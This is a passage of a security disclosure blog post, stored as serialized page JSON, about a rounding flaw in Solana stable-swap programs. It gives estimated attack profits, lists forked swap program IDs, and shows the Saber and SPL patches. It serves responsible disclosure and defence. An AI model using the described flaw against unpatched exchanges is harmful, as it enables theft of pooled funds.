6],[17223],{"type":30,"value":17224}," BTC",{"type":25,"tag":271,"props":17226,"children":17228},{"className":17227,"style":2066},[337],[],{"type":25,"tag":271,"props":17230,"children":17232},{"className":17231},[2071],[17233],{"type":30,"value":17234},"∗",{"type":25,"tag":271,"props":17236,"children":17238},{"className":17237,"style":2066},[337],[],{"type":25,"tag":271,"props":17240,"children":17242},{"className":17241},[285],[17243,17247,17253,17258,17262,17268,17278,17282,17287],{"type":25,"tag":271,"props":17244,"children":17246},{"className":17245,"style":375},[290],[],{"type":25,"tag":271,"props":17248,"children":17250},{"className":17249},[296],[17251],{"type":30,"value":17252},"$41",{"type":25,"tag":271,"props":17254,"children":17256},{"className":17255},[404],[17257],{"type":30,"value":407},{"type":25,"tag":271,"props":17259,"children":17261},{"className":17260,"style":411},[337],[],{"type":25,"tag":271,"props":17263,"children":17265},{"className":17264},[296],[17266],{"type":30,"value":17267},"400/",{"type":25,"tag":271,"props":17269,"children":17271},{"className":17270},[296,30],[17272],{"type":25,"tag":271,"props":17273,"children":17275},{"className":17274},[296],[17276],{"type":30,"value":17277},"BTC",{"type":25,"tag":271,"props":17279,"children":17281},{"className":17280,"style":2066},[337],[],{"type":25,"tag":271,"props":17283,"children":17285},{"className":17284},[2071],[17286],{"type":30,"value":17234},{"type":25,"tag":271,"props":17288,"children":17290},{"className":17289,"style":2066},[337],[],{"type":25,"tag":271,"props":17292,"children":17294},{"className":17293},[285],[17295,17300,17306,17316,17320,17325],{"type":25,"tag":271,"props":17296,"children":17299},{"className":17297,"style":17298},[290],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":25,"tag":271,"props":17301,"children":17303},{"className":17302},[296],[17304],{"type":30,"value":17305},"150",{"type":25,"tag":271,"props":17307,"children":17309},{"className":17308},[296,30],[17310],{"type":25,"tag":271,"props":17311,"children":17313},{"className":17312},[296],[17314],{"type":30,"value":17315}," swaps",{"type":25,"tag":271,"props":17317,"children":17319},{"className":17318,"style":338},[337],[],{"type":25,"tag":271,"props":17321,"children":17323},{"className":17322},[356],[17324],{"type":30,"value":1065},{"type":25,"tag":271,"props":17326,"children":17328},{"className":17327,"style":338},[337],[],{"type":25,"tag":271,"props":17330,"children":17332},{"className":17331},[285],[17333,17338],{"type":25,"tag":271,"props":17334,"children":17337},{"className":17335,"style":17336},[290],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":25,"tag":271,"props":17339,"children":17341},{"className":17340},[296],[17342],{"type":30,"value":17343},"$0.0621",{"type":25,"tag":26,"props":17345,"children":17346},{},[17347],{"type":30,"value":17348},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":25,"tag":26,"props":17350,"children":17351},{},[17352],{"type":30,"value":17353},"We're well on our way to becoming a millionaire!",{"type":25,"tag":96,"props":17355,"children":17357},{"id":17356},"patch",[17358],{"type":30,"value":17359},"Patch",{"type":25,"tag":26,"props":17361,"children":17362},{},[17363],{"type":30,"value":17364},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":25,"tag":26,"props":17366,"children":17367},{},[17368],{"type":30,"value":17369},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":25,"tag":7764,"props":17371,"children":17375},{"code":17372,"language":17373,"meta":7,"className":17374,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[17376],{"type":25,"tag":264,"props":17377,"children":17378},{"__ignoreMap":7},[17379],{"type":25,"tag":271,"props":17380,"children":17381},{"class":13593,"line":13594},[17382,17386,17392,17397,17402,17407,17412],{"type":25,"tag":271,"props":17383,"children":17384},{"style":13620},[17385],{"type":30,"value":16021},{"type":25,"tag":271,"props":17387,"children":17389},{"style":17388},"--shiki-default:#CE9178",[17390],{"type":30,"value":17391}," logs",{"type":25,"tag":271,"props":17393,"children":17394},{"style":17388},[17395],{"type":30,"value":17396}," -um",{"type":25,"tag":271,"props":17398,"children":17399},{"style":13603},[17400],{"type":30,"value":17401}," |",{"type":25,"tag":271,"props":17403,"children":17404},{"style":13620},[17405],{"type":30,"value":17406}," grep",{"type":25,"tag":271,"props":17408,"children":17409},{"style":17388},[17410],{"type":30,"value":17411}," 'Instruction: Swap'",{"type":25,"tag":271,"props":17413,"children":17414},{"style":17388},[17415],{"type":30,"value":17416}," -B1\n",{"type":25,"tag":26,"props":17418,"children":17419},{},[17420],{"type":30,"value":17421},"With some Google dorking, we were able to identify many of these programs.",{"type":25,"tag":7764,"props":17423,"children":17425},{"code":17424},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ  - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ  - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr  - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ  - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1  - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8  - Swap Program\n",[17426],{"type":25,"tag":264,"props":17427,"children":17428},{"__ignoreMap":7},[17429],{"type":30,"value":17424},{"type":25,"tag":26,"props":17431,"children":17432},{},[17433],{"type":30,"value":17434},"Now it was time to contact these teams.",{"type":25,"tag":26,"props":17436,"children":17437},{},[17438],{"type":30,"value":17439},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":25,"tag":26,"props":17441,"children":17442},{},[17443],{"type":30,"value":17444},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":25,"tag":7764,"props":17446,"children":17448},{"code":17447,"language":13585,"meta":7,"className":13586,"style":7},"-        let dy = swap_destination_amount.checked_sub(y)?;\n+        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+        let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[17449],{"type":25,"tag":264,"props":17450,"children":17451},{"__ignoreMap":7},[17452,17506,17518],{"type":25,"tag":271,"props":17453,"children":17454},{"class":13593,"line":13594},[17455,17460,17464,17469,17473,17478,17482,17486,17490,17494,17498,17502],{"type":25,"tag":271,"props":17456,"children":17457},{"style":13603},[17458],{"type":30,"value":17459},"-",{"type":25,"tag":271,"props":17461,"children":17462},{"style":14289},[17463],{"type":30,"value":16208},{"type":25,"tag":271,"props":17465,"children":17466},{"style":13598},[17467],{"type":30,"value":17468}," dy",{"type":25,"tag":271,"props":17470,"children":17471},{"style":13603},[17472],{"type":30,"value":16155},{"type":25,"tag":271,"props":17474,"children":17475},{"style":13598},[17476],{"type":30,"value":17477}," swap_destination_amount",{"type":25,"tag":271,"props":17479,"children":17480},{"style":13603},[17481],{"type":30,"value":1860},{"type":25,"tag":271,"props":17483,"children":17484},{"style":13620},[17485],{"type":30,"value":16374},{"type":25,"tag":271,"props":17487,"children":17488},{"style":13625},[17489],{"type":30,"value":394},{"type":25,"tag":271,"props":17491,"children":17492},{"style":13598},[17493],{"type":30,"value":16256},{"type":25,"tag":271,"props":17495,"children":17496},{"style":13625},[17497],{"type":30,"value":440},{"type":25,"tag":271,"props":17499,"children":17500},{"style":13603},[17501],{"type":30,"value":5632},{"type":25,"tag":271,"props":17503,"children":17504},{"style":13625},[17505],{"type":30,"value":16165},{"type":25,"tag":271,"props":17507,"children":17508},{"class":13593,"line":11641},[17509,17513],{"type":25,"tag":271,"props":17510,"children":17511},{"style":13603},[17512],{"type":30,"value":2074},{"type":25,"tag":271,"props":17514,"children":17515},{"style":14385},[17516],{"type":30,"value":17517},"        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":25,"tag":271,"props":17519,"children":17520},{"class":13593,"line":14354},[17521,17525,17529,17533,17537,17541,17545,17549,17553,17557,17561,17565,17569,17573,17577,17581,17585],{"type":25,"tag":271,"props":17522,"children":17523},{"style":13603},[17524],{"type":30,"value":2074},{"type":25,"tag":271,"props":17526,"children":17527},{"style":14289},[17528],{"type":30,"value":16208},{"type":25,"tag":271,"props":17530,"children":17531},{"style":13598},[17532],{"type":30,"value":17468},{"type":25,"tag":271,"props":17534,"children":17535},{"style":13603},[17536],{"type":30,"value":16155},{"type":25,"tag":271,"props":17538,"children":17539},{"style":13598},[17540],{"type":30,"value":17477},{"type":25,"tag":271,"props":17542,"children":17543},{"style":13603},[17544],{"type":30,"value":1860},{"type":25,"tag":271,"props":17546,"children":17547},{"style":13620},[17548],{"type":30,"value":16374},{"type":25,"tag":271,"props":17550,"children":17551},{"style":13625},[17552],{"type":30,"value":394},{"type":25,"tag":271,"props":17554,"children":17555},{"style":13598},[17556],{"type":30,"value":16256},{"type":25,"tag":271,"props":17558,"children":17559},{"style":13625},[17560],{"type":30,"value":440},{"type":25,"tag":271,"props":17562,"children":17563},{"style":13603},[17564],{"type":30,"value":16273},{"type":25,"tag":271,"props":17566,"children":17567},{"style":13620},[17568],{"type":30,"value":16374},{"type":25,"tag":271,"props":17570,"children":17571},{"style":13625},[17572],{"type":30,"value":394},{"type":25,"tag":271,"props":17574,"children":17575},{"style":16187},[17576],{"type":30,"value":968},{"type":25,"tag":271,"props":17578,"children":17579},{"style":13625},[17580],{"type":30,"value":440},{"type":25,"tag":271,"props":17582,"children":17583},{"style":13603},[17584],{"type":30,"value":5632},{"type":25,"tag":271,"props":17586,"children":17587},{"style":13625},[17588],{"type":30,"value":16165},{"type":25,"tag":26,"props":17590,"children":17591},{},[17592,17594,17601],{"type":30,"value":17593},"For reference, here is the ",{"type":25,"tag":83,"props":17595,"children":17598},{"href":17596,"rel":17597},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[9066],[17599],{"type":30,"value":17600},"Curve.fi implementation",{"type":30,"value":1860},{"type":25,"tag":7764,"props":17603,"children":17607},{"code":17604,"language":17605,"meta":7,"className":17606,"style":7},"    dy: uint256 = xp[j] - y - 1  # -1 just in case there were some rounding errors\n    dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[17608],{"type":25,"tag":264,"props":17609,"children":17610},{"__ignoreMap":7},[17611,17673],{"type":25,"tag":271,"props":17612,"children":17613},{"class":13593,"line":13594},[17614,17619,17623,17628,17632,17637,17641,17646,17650,17655,17660,17664,17668],{"type":25,"tag":271,"props":17615,"children":17616},{"style":13625},[17617],{"type":30,"value":17618},"    dy",{"type":25,"tag":271,"props":17620,"children":17621},{"style":13603},[17622],{"type":30,"value":359},{"type":25,"tag":271,"props":17624,"children":17625},{"style":13609},[17626],{"type":30,"value":17627}," uint256",{"type":25,"tag":271,"props":17629,"children":17630},{"style":13603},[17631],{"type":30,"value":16155},{"type":25,"tag":271,"props":17633,"children":17634},{"style":13625},[17635],{"type":30,"value":17636}," xp[j] ",{"type":25,"tag":271,"props":17638,"children":17639},{"style":13603},[17640],{"type":30,"value":17459},{"type":25,"tag":271,"props":17642,"children":17643},{"style":13625},[17644],{"type":30,"value":17645}," y ",{"type":25,"tag":271,"props":17647,"children":17648},{"style":13603},[17649],{"type":30,"value":17459},{"type":25,"tag":271,"props":17651,"children":17652},{"style":16187},[17653],{"type":30,"value":17654}," 1",{"type":25,"tag":271,"props":17656,"children":17657},{"style":13625},[17658],{"type":30,"value":17659},"  # ",{"type":25,"tag":271,"props":17661,"children":17662},{"style":13603},[17663],{"type":30,"value":17459},{"type":25,"tag":271,"props":17665,"children":17666},{"style":16187},[17667],{"type":30,"value":968},{"type":25,"tag":271,"props":17669,"children":17670},{"style":13625},[17671],{"type":30,"value":17672}," just in case there were some rounding errors\n",{"type":25,"tag":271,"props":17674,"children":17675},{"class":13593,"line":11641},[17676,17681,17685,17689,17693,17698,17703,17708,17712],{"type":25,"tag":271,"props":17677,"children":17678},{"style":13625},[17679],{"type":30,"value":17680},"    dy_fee",{"type":25,"tag":271,"props":17682,"children":17683},{"style":13603},[17684],{"type":30,"value":359},{"type":25,"tag":271,"props":17686,"children":17687},{"style":13609},[17688],{"type":30,"value":17627},{"type":25,"tag":271,"props":17690,"children":17691},{"style":13603},[17692],{"type":30,"value":16155},{"type":25,"tag":271,"props":17694,"children":17695},{"style":13625},[17696],{"type":30,"value":17697}," dy ",{"type":25,"tag":271,"props":17699,"children":17700},{"style":13603},[17701],{"type":30,"value":17702},"*",{"type":25,"tag":271,"props":17704,"children":17705},{"style":13625},[17706],{"type":30,"value":17707}," self.fee ",{"type":25,"tag":271,"props":17709,"children":17710},{"style":13603},[17711],{"type":30,"value":7621},{"type":25,"tag":271,"props":17713,"children":17714},{"style":13625},[17715],{"type":30,"value":17716}," FEE_DENOMINATOR\n",{"type":25,"tag":26,"props":17718,"children":17719},{},[17720,17722,17729],{"type":30,"value":17721},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":25,"tag":83,"props":17723,"children":17726},{"href":17724,"rel":17725},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[9066],[17727],{"type":30,"value":17728},"original commit",{"type":30,"value":17730},", not as an additional security patch.",{"type":25,"tag":7764,"props":17732,"children":17734},{"code":17733},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate:   Mon Aug 31 02:35:30 2020 +0300\n\n    feat: add base pool without lending\n",[17735],{"type":25,"tag":264,"props":17736,"children":17737},{"__ignoreMap":7},[17738],{"type":30,"value":17733},{"type":25,"tag":26,"props":17740,"children":17741},{},[17742,17744,17751],{"type":30,"value":17743},"The commit adding stable swaps to SPL was ",{"type":25,"tag":83,"props":17745,"children":17748},{"href":17746,"rel":17747},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[9066],[17749],{"type":30,"value":17750},"made a few months later",{"type":30,"value":17752},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":25,"tag":7764,"props":17754,"children":17756},{"code":17755},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate:   Tue Nov 17 15:13:18 2020 +0200\n\n    Added stable curve invariant to the token swap smart contract (#838)\n\n    * Added stable curve invariant to the token swap smart contract\n\n    * Fixed formatting\n\n    * Added missing stable curve constraints\n\n    * Symbol renames to make math clearer\n\n    * Small refactoring according to PR comments, fixes for JS tests\n",[17757],{"type":25,"tag":264,"props":17758,"children":17759},{"__ignoreMap":7},[17760],{"type":30,"value":17755},{"type":25,"tag":26,"props":17762,"children":17763},{},[17764,17766,17773],{"type":30,"value":17765},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":25,"tag":83,"props":17767,"children":17770},{"href":17768,"rel":17769},"https://github.com/solana-labs/solana-program-library",[9066],[17771],{"type":30,"value":17772},"the Solana Program Library",{"type":30,"value":1860},{"type":25,"tag":26,"props":17775,"children":17776},{},[17777],{"type":30,"value":17778},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":25,"tag":26,"props":17780,"children":17781},{},[17782,17789],{"type":25,"tag":83,"props":17783,"children":17786},{"href":17784,"rel":17785},"https://github.com/joncinque",[9066],[17787],{"type":30,"value":17788},"@joncinque",{"type":30,"value":17790}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":25,"tag":16074,"props":17792,"children":17793},{},[17794],{"type":25,"tag":26,"props":17795,"children":17796},{},[17797],{"type":30,"value":17798},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":25,"tag":26,"props":17800,"children":17801},{},[17802,17804,17811,17813,17819],{"type":30,"value":17803},"After some thought, he helped ",{"type":25,"tag":83,"props":17805,"children":17808},{"href":17806,"rel":17807},"https://github.com/solana-labs/solana-program-library/pull/2942",[9066],[17809],{"type":30,"value":17810},"introduce a PR",{"type":30,"value":17812}," which ceilings the computation in ",{"type":25,"tag":264,"props":17814,"children":17816},{"className":17815},[],[17817],{"type":30,"value":17818},"compute_new_destination_amount",{"type":30,"value":17820}," to correctly round within the stable curve math library.",{"type":25,"tag":7764,"props":17822,"children":17824},{"code":17823,"language":13585,"meta":7,"className":13586,"style":7},"     // Solve for y by approximating: y**2 + b*y = c\n     let mut y_prev: U256;\n     let mut y = d_val;\n     for _ in 0..ITERATIONS {\n-        y_prev = y;\n-        y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n-            .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n-        if y == y_prev {\n+        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+        if y_new == y {\n             break;\n+        } else {\n+            y = y_new;\n         }\n",[17825],{"type":25,"tag":264,"props":17826,"children":17827},{"__ignoreMap":7},[17828,17836,17866,17893,17921,17945,18021,18125,18152,18247,18350,18377,18389,18408,18431],{"type":25,"tag":271,"props":17829,"children":17830},{"class":13593,"line":13594},[17831],{"type":25,"tag":271,"props":17832,"children":17833},{"style":14385},[17834],{"type":30,"value":17835},"     // Solve for y by approximating: y**2 + b*y = c\n",{"type":25,"tag":271,"props":17837,"children":17838},{"class":13593,"line":11641},[17839,17844,17848,17853,17857,17862],{"type":25,"tag":271,"props":17840,"children":17841},{"style":14289},[17842],{"type":30,"value":17843},"     let",{"type":25,"tag":271,"props":17845,"children":17846},{"style":14289},[17847],{"type":30,"value":16145},{"type":25,"tag":271,"props":17849,"children":17850},{"style":13598},[17851],{"type":30,"value":17852}," y_prev",{"type":25,"tag":271,"props":17854,"children":17855},{"style":13603},[17856],{"type":30,"value":359},{"type":25,"tag":271,"props":17858,"children":17859},{"style":13609},[17860],{"type":30,"value":17861}," U256",{"type":25,"tag":271,"props":17863,"children":17864},{"style":13625},[17865],{"type":30,"value":16165},{"type":25,"tag":271,"props":17867,"children":17868},{"class":13593,"line":14354},[17869,17873,17877,17881,17885,17889],{"type":25,"tag":271,"props":17870,"children":17871},{"style":14289},[17872],{"type":30,"value":17843},{"type":25,"tag":271,"props":17874,"children":17875},{"style":14289},[17876],{"type":30,"value":16145},{"type":25,"tag":271,"props":17878,"children":17879},{"style":13598},[17880],{"type":30,"value":16150},{"type":25,"tag":271,"props":17882,"children":17883},{"style":13603},[17884],{"type":30,"value":16155},{"type":25,"tag":271,"props":17886,"children":17887},{"style":13598},[17888],{"type":30,"value":16160},{"type":25,"tag":271,"props":17890,"children":17891},{"style":13625},[17892],{"type":30,"value":16165},{"type":25,"tag":271,"props":17894,"children":17895},{"class":13593,"line":14391},[17896,17901,17905,17909,17913,17917],{"type":25,"tag":271,"props":17897,"children":17898},{"style":16171},[17899],{"type":30,"value":17900},"     for",{"type":25,"tag":271,"props":17902,"children":17903},{"style":13598},[17904],{"type":30,"value":16179},{"type":25,"tag":271,"props":17906,"children":17907},{"style":14289},[17908],{"type":30,"value":16184},{"type":25,"tag":271,"props":17910,"children":17911},{"style":16187},[17912],{"type":30,"value":16190},{"type":25,"tag":271,"props":17914,"children":17915},{"style":13603},[17916],{"type":30,"value":16195},{"type":25,"tag":271,"props":17918,"children":17919},{"style":13625},[17920],{"type":30,"value":16200},{"type":25,"tag":271,"props":17922,"children":17923},{"class":13593,"line":14400},[17924,17928,17933,17937,17941],{"type":25,"tag":271,"props":17925,"children":17926},{"style":13603},[17927],{"type":30,"value":17459},{"type":25,"tag":271,"props":17929,"children":17930},{"style":13598},[17931],{"type":30,"value":17932},"        y_prev",{"type":25,"tag":271,"props":17934,"children":17935},{"style":13603},[17936],{"type":30,"value":16155},{"type":25,"tag":271,"props":17938,"children":17939},{"style":13598},[17940],{"type":30,"value":16150},{"type":25,"tag":271,"props":17942,"children":17943},{"style":13625},[17944],{"type":30,"value":16165},{"type":25,"tag":271,"props":17946,"children":17947},{"class":13593,"line":16406},[17948,17952,17957,17961,17965,17969,17973,17977,17981,17985,17989,17993,17997,18001,18005,18009,18013,18017],{"type":25,"tag":271,"props":17949,"children":17950},{"style":13603},[17951],{"type":30,"value":17459},{"type":25,"tag":271,"props":17953,"children":17954},{"style":13598},[17955],{"type":30,"value":17956},"        y",{"type":25,"tag":271,"props":17958,"children":17959},{"style":13603},[17960],{"type":30,"value":16155},{"type":25,"tag":271,"props":17962,"children":17963},{"style":13625},[17964],{"type":30,"value":16213},{"type":25,"tag":271,"props":17966,"children":17967},{"style":13620},[17968],{"type":30,"value":16243},{"type":25,"tag":271,"props":17970,"children":17971},{"style":13625},[17972],{"type":30,"value":394},{"type":25,"tag":271,"props":17974,"children":17975},{"style":13603},[17976],{"type":30,"value":13632},{"type":25,"tag":271,"props":17978,"children":17979},{"style":13598},[17980],{"type":30,"value":16256},{"type":25,"tag":271,"props":17982,"children":17983},{"style":13625},[17984],{"type":30,"value":44},{"type":25,"tag":271,"props":17986,"children":17987},{"style":16187},[17988],{"type":30,"value":1326},{"type":25,"tag":271,"props":17990,"children":17991},{"style":13625},[17992],{"type":30,"value":440},{"type":25,"tag":271,"props":17994,"children":17995},{"style":13603},[17996],{"type":30,"value":16273},{"type":25,"tag":271,"props":17998,"children":17999},{"style":13620},[18000],{"type":30,"value":16278},{"type":25,"tag":271,"props":18002,"children":18003},{"style":13625},[18004],{"type":30,"value":394},{"type":25,"tag":271,"props":18006,"children":18007},{"style":13598},[18008],{"type":30,"value":13243},{"type":25,"tag":271,"props":18010,"children":18011},{"style":13625},[18012],{"type":30,"value":440},{"type":25,"tag":271,"props":18014,"children":18015},{"style":13603},[18016],{"type":30,"value":5632},{"type":25,"tag":271,"props":18018,"children":18019},{"style":13625},[18020],{"type":30,"value":16299},{"type":25,"tag":271,"props":18022,"children":18023},{"class":13593,"line":16434},[18024,18028,18032,18037,18041,18045,18049,18053,18057,18061,18065,18069,18073,18077,18081,18085,18089,18093,18097,18101,18105,18109,18113,18117,18121],{"type":25,"tag":271,"props":18025,"children":18026},{"style":13603},[18027],{"type":30,"value":17459},{"type":25,"tag":271,"props":18029,"children":18030},{"style":13603},[18031],{"type":30,"value":16307},{"type":25,"tag":271,"props":18033,"children":18034},{"style":13620},[18035],{"type":30,"value":18036},"checked_div",{"type":25,"tag":271,"props":18038,"children":18039},{"style":13625},[18040],{"type":30,"value":394},{"type":25,"tag":271,"props":18042,"children":18043},{"style":13620},[18044],{"type":30,"value":16321},{"type":25,"tag":271,"props":18046,"children":18047},{"style":13625},[18048],{"type":30,"value":394},{"type":25,"tag":271,"props":18050,"children":18051},{"style":13603},[18052],{"type":30,"value":13632},{"type":25,"tag":271,"props":18054,"children":18055},{"style":13598},[18056],{"type":30,"value":16256},{"type":25,"tag":271,"props":18058,"children":18059},{"style":13625},[18060],{"type":30,"value":44},{"type":25,"tag":271,"props":18062,"children":18063},{"style":16187},[18064],{"type":30,"value":1326},{"type":25,"tag":271,"props":18066,"children":18067},{"style":13625},[18068],{"type":30,"value":440},{"type":25,"tag":271,"props":18070,"children":18071},{"style":13603},[18072],{"type":30,"value":16273},{"type":25,"tag":271,"props":18074,"children":18075},{"style":13620},[18076],{"type":30,"value":16278},{"type":25,"tag":271,"props":18078,"children":18079},{"style":13625},[18080],{"type":30,"value":394},{"type":25,"tag":271,"props":18082,"children":18083},{"style":13598},[18084],{"type":30,"value":2508},{"type":25,"tag":271,"props":18086,"children":18087},{"style":13625},[18088],{"type":30,"value":440},{"type":25,"tag":271,"props":18090,"children":18091},{"style":13603},[18092],{"type":30,"value":16273},{"type":25,"tag":271,"props":18094,"children":18095},{"style":13620},[18096],{"type":30,"value":16374},{"type":25,"tag":271,"props":18098,"children":18099},{"style":13625},[18100],{"type":30,"value":394},{"type":25,"tag":271,"props":18102,"children":18103},{"style":13598},[18104],{"type":30,"value":16383},{"type":25,"tag":271,"props":18106,"children":18107},{"style":13625},[18108],{"type":30,"value":440},{"type":25,"tag":271,"props":18110,"children":18111},{"style":13603},[18112],{"type":30,"value":5632},{"type":25,"tag":271,"props":18114,"children":18115},{"style":13625},[18116],{"type":30,"value":440},{"type":25,"tag":271,"props":18118,"children":18119},{"style":13603},[18120],{"type":30,"value":5632},{"type":25,"tag":271,"props":18122,"children":18123},{"style":13625},[18124],{"type":30,"value":16165},{"type":25,"tag":271,"props":18126,"children":18127},{"class":13593,"line":16447},[18128,18132,18136,18140,18144,18148],{"type":25,"tag":271,"props":18129,"children":18130},{"style":13603},[18131],{"type":30,"value":17459},{"type":25,"tag":271,"props":18133,"children":18134},{"style":16171},[18135],{"type":30,"value":16412},{"type":25,"tag":271,"props":18137,"children":18138},{"style":13598},[18139],{"type":30,"value":16150},{"type":25,"tag":271,"props":18141,"children":18142},{"style":13603},[18143],{"type":30,"value":16422},{"type":25,"tag":271,"props":18145,"children":18146},{"style":13598},[18147],{"type":30,"value":17852},{"type":25,"tag":271,"props":18149,"children":18150},{"style":13625},[18151],{"type":30,"value":16431},{"type":25,"tag":271,"props":18153,"children":18154},{"class":13593,"line":16465},[18155,18159,18163,18167,18171,18175,18179,18183,18187,18191,18195,18199,18203,18207,18211,18215,18219,18223,18227,18231,18235,18239,18243],{"type":25,"tag":271,"props":18156,"children":18157},{"style":13603},[18158],{"type":30,"value":2074},{"type":25,"tag":271,"props":18160,"children":18161},{"style":14289},[18162],{"type":30,"value":16208},{"type":25,"tag":271,"props":18164,"children":18165},{"style":13625},[18166],{"type":30,"value":16213},{"type":25,"tag":271,"props":18168,"children":18169},{"style":13598},[18170],{"type":30,"value":16218},{"type":25,"tag":271,"props":18172,"children":18173},{"style":13625},[18174],{"type":30,"value":44},{"type":25,"tag":271,"props":18176,"children":18177},{"style":13598},[18178],{"type":30,"value":6434},{"type":25,"tag":271,"props":18180,"children":18181},{"style":13625},[18182],{"type":30,"value":14406},{"type":25,"tag":271,"props":18184,"children":18185},{"style":13603},[18186],{"type":30,"value":1065},{"type":25,"tag":271,"props":18188,"children":18189},{"style":13625},[18190],{"type":30,"value":16213},{"type":25,"tag":271,"props":18192,"children":18193},{"style":13620},[18194],{"type":30,"value":16243},{"type":25,"tag":271,"props":18196,"children":18197},{"style":13625},[18198],{"type":30,"value":394},{"type":25,"tag":271,"props":18200,"children":18201},{"style":13603},[18202],{"type":30,"value":13632},{"type":25,"tag":271,"props":18204,"children":18205},{"style":13598},[18206],{"type":30,"value":16256},{"type":25,"tag":271,"props":18208,"children":18209},{"style":13625},[18210],{"type":30,"value":44},{"type":25,"tag":271,"props":18212,"children":18213},{"style":16187},[18214],{"type":30,"value":1326},{"type":25,"tag":271,"props":18216,"children":18217},{"style":13625},[18218],{"type":30,"value":440},{"type":25,"tag":271,"props":18220,"children":18221},{"style":13603},[18222],{"type":30,"value":16273},{"type":25,"tag":271,"props":18224,"children":18225},{"style":13620},[18226],{"type":30,"value":16278},{"type":25,"tag":271,"props":18228,"children":18229},{"style":13625},[18230],{"type":30,"value":394},{"type":25,"tag":271,"props":18232,"children":18233},{"style":13598},[18234],{"type":30,"value":13243},{"type":25,"tag":271,"props":18236,"children":18237},{"style":13625},[18238],{"type":30,"value":440},{"type":25,"tag":271,"props":18240,"children":18241},{"style":13603},[18242],{"type":30,"value":5632},{"type":25,"tag":271,"props":18244,"children":18245},{"style":13625},[18246],{"type":30,"value":16299},{"type":25,"tag":271,"props":18248,"children":18249},{"class":13593,"line":16486},[18250,18254,18258,18262,18266,18270,18274,18278,18282,18286,18290,18294,18298,18302,18306,18310,18314,18318,18322,18326,18330,18334,18338,18342,18346],{"type":25,"tag":271,"props":18251,"children":18252},{"style":13603},[18253],{"type":30,"value":2074},{"type":25,"tag":271,"props":18255,"children":18256},{"style":13603},[18257],{"type":30,"value":16307},{"type":25,"tag":271,"props":18259,"children":18260},{"style":13620},[18261],{"type":30,"value":16312},{"type":25,"tag":271,"props":18263,"children":18264},{"style":13625},[18265],{"type":30,"value":394},{"type":25,"tag":271,"props":18267,"children":18268},{"style":13620},[18269],{"type":30,"value":16321},{"type":25,"tag":271,"props":18271,"children":18272},{"style":13625},[18273],{"type":30,"value":394},{"type":25,"tag":271,"props":18275,"children":18276},{"style":13603},[18277],{"type":30,"value":13632},{"type":25,"tag":271,"props":18279,"children":18280},{"style":13598},[18281],{"type":30,"value":16256},{"type":25,"tag":271,"props":18283,"children":18284},{"style":13625},[18285],{"type":30,"value":44},{"type":25,"tag":271,"props":18287,"children":18288},{"style":16187},[18289],{"type":30,"value":1326},{"type":25,"tag":271,"props":18291,"children":18292},{"style":13625},[18293],{"type":30,"value":440},{"type":25,"tag":271,"props":18295,"children":18296},{"style":13603},[18297],{"type":30,"value":16273},{"type":25,"tag":271,"props":18299,"children":18300},{"style":13620},[18301],{"type":30,"value":16278},{"type":25,"tag":271,"props":18303,"children":18304},{"style":13625},[18305],{"type":30,"value":394},{"type":25,"tag":271,"props":18307,"children":18308},{"style":13598},[18309],{"type":30,"value":2508},{"type":25,"tag":271,"props":18311,"children":18312},{"style":13625},[18313],{"type":30,"value":440},{"type":25,"tag":271,"props":18315,"children":18316},{"style":13603},[18317